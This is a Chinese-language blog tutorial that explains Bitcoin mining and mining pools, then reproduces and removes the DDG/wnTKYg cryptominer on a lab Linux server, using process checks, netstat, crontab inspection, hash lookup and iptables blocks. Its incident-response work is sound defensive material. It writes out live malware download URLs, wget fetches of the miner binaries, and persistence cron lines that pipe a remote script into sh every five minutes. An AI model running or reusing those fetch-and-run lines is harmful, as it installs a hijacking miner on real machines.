有关比特币的专业知识讲解的内容资料很多,我这里只是简单通俗的记录下个人的学习和对他的理解。大家往往看到比特币首先想问的它到底是什么,是不是钱。可以肯定的回答大家,他是钱,但是他不只是个体,他其实是一个虚拟的电子货币支付系统,是的是一个系统。
所以我这里说了这么多的废话,就是希望大家以后看到比特币,我们不是把它看成是一个硬币,而是我们一看到比特币,我就立马想到的是它其实是一个系统(电子币虚拟支付系统)。只要大家能这样想,后面讲的内容大家就好理解了。
大家如果想要比较清晰的了解什么是比特币,我们就必须知道比特币其实是一套系统,他不是体,他是由各个“关键的基础点”共同在一定协议技术之上“运行的货币支付系统”。那么笔者接下来会分两步,给大家进行简单知识点的普济,即比特币系统的“关键基础构成”与其“比特币运行机制”。
重点预告:重点部分在于比特币的运行机制部分,请重点关注。
首先给大家贴出介绍比特币系统的一张图,大家简单的看下。这一张图片展示的就是一个完整的比特币系统有哪些内容构成,那么我们从这张图中我们可以看到什么呢?
通过前面个人的学习,我简单的概括出以下几个关键点:
用户
系统中各个外围的使用者,如学生、老师、雇员以及其他等待使用者;
旷工
为整个系统的运行提供支撑的人员和基础设施,其实际构成就是由人、计算机、电力系统、校验认证等等共同构成;
Blockchain(区块链)
看到Blokcchain,第一次听到这个词的人可能会一头雾水,其实大家无需迷茫,我给大家简单的打个比喻,大家就明白了。这个区块链其实就是整个比特币系统运行的底层协议,就像我们的互联网底层协议TCP/IP一样。如果大家还不明白,那说的再简单点,大家就把他理解为一个“记账本”就OK,他就是来负责整个比特币系统中进行记账的载体。
那么前面废话说了这么多,到什么是比特币呢?请各位亲们往下看,下面我们会从比特币的比特币支持过程与比特币发行过程两个方面带大家一起认识下比特币。
个人对于比特的运行过程进行了简单的概括,一是比特币系统的“支付过程”,二就是“货币发行过程”。大家如果弄明白了这两个过程基本就了解了比特币系统是什么了,也就理解什么是比特币了。
在说明比特币的支付过程之前,大家先带大家看几个关键词:P2P、去中心化与终端用户
OK!我们了解了上面三个关键词后,我们就来看下比特币定义。
比特币定义:它是一种去中心化的,基于区块链网络技术的,P2P电子支付技术系统。听起来是不是还是很含糊,OK,那么说的再简单点,就是比特币是一个P2P(点到点)的电子支付系统。
通过上面的定义,你可能还是不太了解其运行过程,那么我们举一个生活中的例子来给大家简单说明。
场景举例:A 向 B 支付100元,在 “中心支付模式” 和 “点对点支付模式 ”,他们各自是如何完成支付的呢。
(1)中心支付模式
我们知道在现实生活中我们的货币支付系统的支付过程是这样的,当A支付出100元后,银行会在A的账户中减去100元,同时在B的账户中增加一笔100元的记录。也就是整个交易支付过程都是由银行在中间进行处理与记录的,银行是整个支付系统的中心系统,他有一本所有人的总账本,这中心账本记录所有的交易与支付记录。
(2)P2P支付模式
而比特币网络这种点对点支付系统就不同了,当A给B支付了100元后,不需要经过任何中心支付系统进行结算和记录,完全由这个A和B各自去记录完成,同时通告给P2P网络中的所有人,然后比特币网络中的每个终端成员都会更新自己的账本记录下A与B之间的支付账单。也就是说P2P支付系统模式中,每个终端个体都有跟账本,且每个人的账本记录内容都是同步更新的。;
过程理解
比特币系统就是一个基于“终端账本记录”技术的点到点的,去中心化的,电子货币支付系统。而终端“账本记录技术的实现”,其是通过前面说的“区块链”技术来实现的;
支付模式小结
说了这么多,大家不知道是不是已经理解了比特币的支付模式了呢,是的没错所谓比特币的P2P支付模式,就是每个人都一个账本,所有的支付结算过程结果都由每个人自己的账本记录进行更新记录,当然每个人的账本记录都是一样的内容,至于怎么实现,请各位亲继续往后看。
前面讲了那么多比特币的支付过程,那一个非常重要的问题来了,请问这些比特币系统中每个人的比特币是哪里来的,即货币到底是谁发行的呢? 这个问说如果大家搞清楚了,各位亲也就能理解我经常听到或遇到的“挖矿恶意程序”的到底是个什么玩意了。
统一在为各位亲说明货币发现过程之前,先带大家看几个关键词或者说是关键点,即区块链、旷工以及比特币奖励
区块链
其实有区块链前面我已经简单的说过,区块链接简单的理解就是一个记账本;但是这里我们需要更详细的说明下区块链,我现在把区块链分为两个部分来理解:即区块 和 链。一个区块链其实他记录从最原始的账单交易到现在此时此刻的交易内容,它由区块和链共同两部分共同构成。在比特币系统中每10分钟生成一个新的区块,这10分钟生成的区块它会记录最近10分钟网络中生成的信息支付交易记录,然后通过链连接到原始的区块链上形成更新后的新的区块链,并通告全网进行公共账单的更新。
比特币奖励
这个就是字面意思,就是进行某个客体的比特币奖励。
旷工
是指通过一种特别的软件不断重复哈希运算(hash碰撞)来产生工作量的各个网络终端节点。矿工们需要竞争完成一种基于加密哈希算法的数学难题,数学题的答案存在于新的区块中,谁优先解出这个答案,谁就能在p2p网络中广播声明自己已经获得这个区块,其他的旷工就会意识到在这局里已经输了,就会立马开始下一个区块的挖掘工作。每个矿工在他的区块中都有一笔特殊的交易,他们会将新生成的比特币作为报酬,然后支付到自己的比特币地址中。一旦这个区块被认可被验证,也就是被添加到区块链中,他的这笔报酬就可以变为可用可消费的状态。
通过前面比特币网络的学习,我们知道比特币其实一个P2P的网络,这也表示网络中的每一个人都当担这比特币系统的一小部分,但是一个主要的问题出了比特币来时哪里呢?
大家如果看了上面的解释还不清楚,笔者结合前面区块链的内容再结合实际场景的给亲们解释下。
我们通过前面学习知道,比特币网络中每10分钟会生成一个新的区块,这个新生成的区块其会包含多个内容。
第一个内容:就是最近这10分钟产生的所有比特币支付交易记录;
第二个内容:是区块锁(即签名或者说前面说的数学难题的答案);
第三个内容:就是即将新发行的比特币(奖励给第一个算出数学难题的旷工)。
现在我们把这三个内容联系起来,我们知道比特币P2P网络中每个人都一本账本,那是不是意味着每个都可能去篡改自己的账本呢,是的存在这个可能,所以比特币网络设计了区块链的技术来防止这个情况的出现,那么每个人手中的账本如何可靠安全的更新呢?
好的,我们现在重回到区块链技术,我们知道比特币网络每10分钟生成一个区块,通俗点就是一个当前10分钟网络中所有交易的账本记录,为防止有人恶意篡改,区块链被加了签名(即一把锁/答案)防止被恶意篡改,比特币网络中第一个破解了这个签名的人,即可以新的区块加到原始的区块链上去;我们知道谁也不可能义务劳动,所以在被更新的区块中还包了对第一个破解人的比特币奖励的更新账单记录;这个奖励的比特币方式就是发行新比特币的方法和过程了。
我们现在了解到旷工是整个比特币系统运行的底层基础运算保障,也是整个区块链技术的核心部分,比特币系统运行机制中为了保障整个比特币的系统有效运行和吸引更多的个体投入到系统中来,设立对旷工工作的奖励机制即通过衡量他们的运算贡献给以比特币的奖励。也因此现实社会中有了更多的人愿意将个人的计算机运算能力提供给比特币的网络系统,随着比特币的价值提升,更多的人有组织、有体系的,合法甚至不合法的去给比特币系统网络提供运算支持,其基本发展历程如下。
在将恶意挖矿程序由来之前,我们需要回顾下什么是矿工、挖矿奖励机制、比特币的发行。
我现在都知道在比特币系统中,矿工们是用一种特别的软件来解决数学难题,来作为交换比特币系统生成的特定数量的比特币,而这种机制提供了一种发行货币的创新方式,同时也创造了人们参与挖矿的动机。由于比特币网络的交易需要矿工来进行验证,更过矿工的参与也意味着更安全的比特币网络,但同时随着矿工越来越多,比特币系统也会自动会自动改变这些数学题目的难度,而难度的变化的速度,通常又取决于解题的速度。
最早期的矿工们都是使用个人使用计算的CPU进行为挖矿,这是最原始的挖矿;
不久之后,矿工们发现使用显卡更适合于挖矿工作,显卡速度虽然快;但是显卡万科也有其自身的缺陷,就是需要消耗更多的电力,温度也会过高;人们发现挖矿的成本增大了;
随后挖矿利益的驱动,出现专业更专业的挖矿产品,为挖矿提供专业的编程芯片,这种挖矿机虽然加快了挖矿速度,但仍然需要消耗大量的电力;
ASIC 芯片的挖矿时代就应用而生了,特定的ASIC技术通过更少的消耗电量让比特币挖矿更快;
(1)矿场的诞生
随着ASIC芯片专业技术的出现,挖矿的难度也增大了,为了获取更大的利益,出现了大量的投资人投资建立机房的运行模式,大批量的投资建设机房的模式来进行挖矿,这种以款场的模式就出现了。这类矿厂在今年之前,中国的系统占据了整个比特币网络的半壁江山,因为中国的系统有着大量的廉价电力可以被提供来进行挖矿;
(2)矿池的诞生
随着比特币的日益流行,越来越多的人加入挖矿这个行列,使得挖矿的难度也不断的提升,为了克服这个问题,矿工们开发出了“矿池”的挖矿方式,矿池结合了所有个人的计算能力,让更多的个人也还可以加入到挖矿的行列中来了,这种模式为更快的找到难题的也提供了一种解决方案,而每个参与的矿工依据他们为矿池提供的工作量的比例分配矿池中的收益。
上面铺垫说了这么了多,相信大家看到矿池的出现时,就都明白了“挖矿恶意程序”的由来了。是的,没错了,挖矿恶意程序其实就是矿池模式中矿池的一员,正常矿池中的成员都是自愿加入矿池中,为矿池提供计算能力,然后依据自己的计算贡献能力,从矿池的收益中来获取自己的分配所得。但是恶意程序是在未授权的情况下向你的服务器恶意植入的一个程序,并盗用了你个人计算机的计算能力来为Hacker挣钱的行为。
这就是我们经常说挖矿事件的真实面目了,说了这么多不知道大家是否明白了,嘴巴都说干了。
以上说了这么多都在跟大家一起去学习和了解下比特币是什么、挖矿是什么、恶意挖矿程序又是怎么由来的,详细此时大家应该都或多或少有了一点的了解了,那么接下来就是我们看看安全当中恶意挖矿程序是如何运行,我们如果不幸中招了如何快速做出响应和处理。
本次试验环境中使用的挖矿恶意程序主要基于实际环境中捕获的恶意程序进行分析后总结后从网络中直接获取的,涉及的程序包含“1个shell脚本”和“2个可执行程序”,具体名称如下(未做任何改动)。
脚本下载地址: http://218.248.40.228:8443/i.sh
i.sh 通过以上脚本内容分析,我们可以清晰的看到i.sh就是一个shell脚本,他主要功能我们通过分析可以知道,其主要负责完成以下两件事情。
第一个任务:每五分钟下载一次i.sh脚本,并执行,目的应该就是为了循环执行以达到一个守护的目的;
第二个任务:依据当前系统的架构,下载相对于的ddg程序,并授予可执行权限然后运行。
通过上面的i.sh脚本,我们可以看到dgg.2021的下载地址,分析的过程中我们可以知道程序设计考虑还很周全,分为了x86 与 x86_64两个不同架构的版本。
在分析的过程中还发现这个ddg.xxx这个程序的版本有2020与2021两个版本,其实在我写这篇文档时,进行环境复现时版本已经升级到2021版本了,更新还挺频繁的,其实还远不止这两个版本。
通过实际环境分析,发下dgg.xxxx这个程序的主要功能就是下载wnTKYg并运行他,同时其还是wnTKYg的守护者,当我们删除wnTKYg是,如果未能删除dgg.xxxx,那么很快wnTKYg还会再次复活。
wnTKYg这个程序直接读取是无法看到其内部内容的,个人能有限,也无法做到具体内容的分析,如果哪位大神有这个闲情,请带我飞。这里我仅从其运行的特性来分析下其主要功能。
这里放出一张直接手动运行wnTKYg程序后的截图,通过上面这张图我们其实可以很直接看到三个关键字“miner”、“Pool”、“block”,是不是我们第一个章节中废话说了那么多,就这个三个词能,是的“矿工”、“矿池”、还有就是“区块链技术”。所以,这里不言而喻这个wnTKYg就是挖矿的主程序了,就是负责给比特币网络提供底层运算的劳工了。
# wget http://218.248.40.228:8443/i.sh
# wget http://218.248.40.228:8443/2021/$(uname -m)
# wget http://218.248.40.228:8443/wnTKYg
我第一次搭建环境的时候使用的是个人的PC来搭建的运行环境,运行的过程中发现,下载的恶意wnTKYg
程序主动运行时进行报错,告诉我的CPU 没有AES-IN。
查询发现这个AES-IN,代表的是Advance Encryption Standard New Instructions;AES-IN
高级加密标准新指令集,这也就意味着你的CPU如果不支持 AES-IN,还不配有挖矿的资格,想成为肉鸡都不配,我只能笑着说,是我太LOW,我太小白了,我不懂...(其实心中千万个cao ni ma 奔驰而过...)
接着通过以下命令检查了下我的CPU是否真的不支持AES-IN。
# cat /proc/cpuinfo |grep aes
原来我的台式机真的不支持AES-IN这个高级指令集,随后我看了下我的最新的笔记本,OK,还算幸运竟然支持,随后将CentOS7的环境移植到了我的笔记本中,继续进行试验。
重新找了一台新的环境,在验证了服务的CPU支持AES-IN指令集的情况下,重新安装捕获的恶意程序运行脚本,运行一切OK。
注意事项
环境脚本运行的时候要注意,就是先下载i.sh,然后直接运行等待一段时间即可。(主要是由于运行i.sh文件后,他需要去下载ddg.2021主程序,这个程序相对较大而且还在国外)待ddg.2021程序运行正常后,随后它就会去下载wnTKYg这个程序计算程序,他也运行成长,环境就搭建成功了。
如果你发现你等待了很久都环境都没搭建成功,可以尝试清除一下计划任务表,因为计划任务表会循环下载ddg.2021文件,可能会影响ddg.2021的正常运行。
使用top命令直接动态排查可能异常进程,配合 -c
可以直接查找到异常进程的物理位置。
# top -c
# ps -ef |grep wnTKYg
# ps -ef |grep ddg.2021
[root@localhost ~]# find / -name wnTKYg*
/tmp/wnTKYg
[root@localhost ~]#
查询会话建立情况,查看是否有异常会话连接。
[root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB
tcp 0 0 192.168.31.9:22 192.168.31.75:3898 ESTABLISHED 3742/sshd
tcp 0 0 192.168.31.9:56842 163.172.226.120:443 ESTABLISHED 7263/wnTKYg
tcp 0 0 192.168.31.9:22 192.168.31.75:3953 ESTABLISHED 3795/sshd
tcp 0 0 192.168.31.9:35286 104.131.231.181:8443 ESTABLISHED 7193/ddg.2021
tcp 0 0 192.168.31.9:55200 218.248.40.228:8443 ESTABLISHED 6339/curl
[root@MiWiFi-R3-srv tmp]#
查询当前计划任务中是否存在异常未知的任务被添加。
[root@localhost ~]# crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
You have new mail in /var/spool/mail/root
[root@MiWiFi-R3-srv ~]# tree /var/spool/cron/
/var/spool/cron/
├── crontabs
│ └── root
└── root
1 directory, 2 files
[root@MiWiFi-R3-srv ~]# cat /var/spool/cron/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
[root@MiWiFi-R3-srv ~]# cat /var/spool/cron/crontabs/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
[root@MiWiFi-R3-srv ~]#
如果此时你还不确认当前程序是否是恶意程序,可以直接将定位到的疑似恶意程序进行md5 hash后进行校验比对进行确认。
md5校验网站:https://www.virustotal.com/#search
(1) 进行疑似文件的md5sum 哈希
[root@MiWiFi-R3-srv tmp]# md5sum wnTKYg
d3b1700a413924743caab1460129396b wnTKYg
[root@MiWiFi-R3-srv tmp]#
(2) 进行MD5哈希疑似病毒校验比对
直接将疑似文件wnTKYg的md5哈希值复制到病毒校验网站https://www.virustotal.com/#search进行查询比对。通过比对结果,我们可以清晰的看到wnTKYg为恶意程序。
首先第一步需要先删除计划任务,因为计划任务会每5分钟循环下载恶意程序并授权执行;
# crontab -r # 直接使用此命令即可上次当前用户的计划任务
#
# crontab -l # 直接查询当前用户是否还存在计划任务
no crontab for root
方法二
在确认计划可能还存在其他正常业务需要的时候,我可以直接编辑计划任务的配置文件,删除我们看到恶意写入的计划任务内容。
# vi /var/spool/cron/root
#
# /var/spool/cron/crontabs/root
分别编辑以上两个root配置文件,删除恶意计划任务内容,即可。
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
~
~
~
第二步就杀死相关的恶意运行行为的程序,除了wnTKYg与ddg.2021以为,当前若存在curl程序,也应该将其杀死。
# pkill wnTKYg
# pkill dgg.2021
# pill curl
方法二:杀死恶意程序进程号
注:方法二往往都是在方法一不好使的时候强制来使用的。
# ps -ef |grep wnTKYg # 查询恶意程序的ps进程号
# kill -9 PID
## ps -ef |grep ddg.2021 # 查询恶意程序的ps进程号
# kill -9 PID
## ps -ef |grep curl # 查询恶意程序的ps进程号
# kill -9 PID
清理过程的最后一步才是进行相关恶意程序的删除操作。
# rm -rf /tmp/wnTKYg
# rm -rf /tmp/ddg.2021
# rm -rf /tmp/i.sh
禁止服务主动访问互联网的方法是我们快速处理挖矿恶意程序对服务器影响的最快,最有效的方法,也是一劳永逸的,当然有外面的人是怎么进来的,不是我们这里主题,这里不做过多的说明。接下来就详细的记录与分析下我们为什么这么做,怎么做。
(1) wnTKYg 分析
通过对挖矿程序的运行机制我可以知道,矿工(miner)即恶意程序wnTKY的主要运行机制就是为比特币网络提供底层的运算的能力,即需要主动去链接外网,如果此时我限制服务器主机主动访问网络的话,是不是就可以限制wnTKY的运行能。有过对挖矿恶意程序处理经验的小伙伴都知道,其实挖矿恶意程序唯一做的事情就是在你为授权的情况利用你服务主机的运算能力为黑客搭建的矿池提供计算能力,帮他挣钱。一旦我们的服务不能主动访问互联网了,其实对于这里黑客就没有意义了,因为此时我们的服务就无法将计算的结果提交给矿池了,也无法同步与下载计算任务了。
(2) i.sh 与ddg.2021分析
通过前面的分析学习,我们知道ddg.2021程序是主程序也是wnTKYg的守护进程,其是由i.sh下载下来并执行的,所以对于i.sh与ddg.2021的下载,我们也要禁止掉。
其实禁止主机主动访问互联的方法有很多,比如可以通过网络中的防火墙禁止服务主动连接互联;或者在做内网返现代理时,就不代理内网服务器都可以实现我们的目标。
不过我这里只说明了怎么利用我们的Linux服务器只带的防火墙iptables来下发访问控制,禁止服务主动连接互联网。
第一步就是通过会话监控命令,监控查询恶意程序 wnTKYg、ddg.2021、curl下载的外网互联地址;
[root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB
tcp 0 0 192.168.31.9:22 192.168.31.75:3898 ESTABLISHED 3742/sshd
tcp 0 0 192.168.31.9:56842 163.172.226.120:443 ESTABLISHED 7263/wnTKYg
tcp 0 0 192.168.31.9:22 192.168.31.75:3953 ESTABLISHED 3795/sshd
tcp 0 0 192.168.31.9:35286 104.131.231.181:8443 ESTABLISHED 7193/ddg.2021
tcp 0 0 192.168.31.9:55200 218.248.40.228:8443 ESTABLISHED 6339/curl
依据查询出的外网互联地址,直接下发访问控制策略,禁止服务访问这些网络地址。
[root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 163.172.226.120 -j DROP
[root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 104.131.231.181 -j DROP
[root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 218.248.40.228 -j DROP
[root@MiWiFi-R3-srv tmp]#
以上所有说的这么多都是与大家一起了解下挖矿的恶意程序是怎么运行的,在我们的服务器到底做了些什么,我应该如何应对这个恶意程序,当然也可以为其他恶意程序的问题定位与处理提供借鉴与参考。
但是,归根结底问题还是出在我们的服务上,我们的服务可能存在漏洞被人恶意利用了,服务被入侵,我们必须找到入侵的根源才能确保服务的安全。
有关服务器入侵根源的查找的方法,这里不做展开说明了,简单记录下基本思路。
# 进程动态快速定位,使用 top -c可快速定位异常经常的物理位置,查询异常进程。
# top -c
# ps -ef 排查
# ps -ef |grep wnTKYg
# ps -ef |grep ddg.2021
# 疑似进程定位
[root@localhost ~]# find / -name wnTKYg*
/tmp/wnTKYg
[root@localhost ~]#
# 查询会话建立情况,查看是否有异常会话连接。
# netstat -pantul |grep ESTAB
[root@localhost ~]# crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
You have new mail in /var/spool/mail/root
第一步:使用md5sum 命令进行疑似文件哈希
# md5sum wnTKYg
d3b1700a413924743caab1460129396b wnTKYg
第二步:进行疑似病毒MD5哈希值的校验比对
直接将疑似文件wnTKYg的md5哈希值复制到病毒校验网站https://www.virustotal.com/#search进行查询比对。通过比对结果,我们可以确认疑似文件是否是恶意程序。
# crontab -r # 直接使用此命令即可上次当前用户的计划任务
#
# crontab -l # 直接查询当前用户是否还存在计划任务
no crontab for root
# pkill wnTKYg
# pkill dgg.2021
# pill curl
# rm -rf /tmp/wnTKYg
# rm -rf /tmp/ddg.2021
# rm -rf /tmp/i.sh
下发访问控制策略,禁止服务互联三个恶意程序外联的外网地址。
# 查询恶意进程外网互联地址
#
# netstat -pantul |grep ESTAB
tcp 0 0 192.168.31.9:22 192.168.31.75:3898 ESTABLISHED 3742/sshd
tcp 0 0 192.168.31.9:56842 163.172.226.120:443 ESTABLISHED 7263/wnTKYg
tcp 0 0 192.168.31.9:22 192.168.31.75:3953 ESTABLISHED 3795/sshd
tcp 0 0 192.168.31.9:35286 104.131.231.181:8443 ESTABLISHED 7193/ddg.2021
tcp 0 0 192.168.31.9:55200 218.248.40.228:8443 ESTABLISHED 6339/curl
# 下发放控制策略,禁止服务的外网互联
#
# iptables -A OUTPUT -d 163.172.226.120 -j DROP
# iptables -A OUTPUT -d 104.131.231.181 -j DROP
# iptables -A OUTPUT -d 218.248.40.228 -j DROP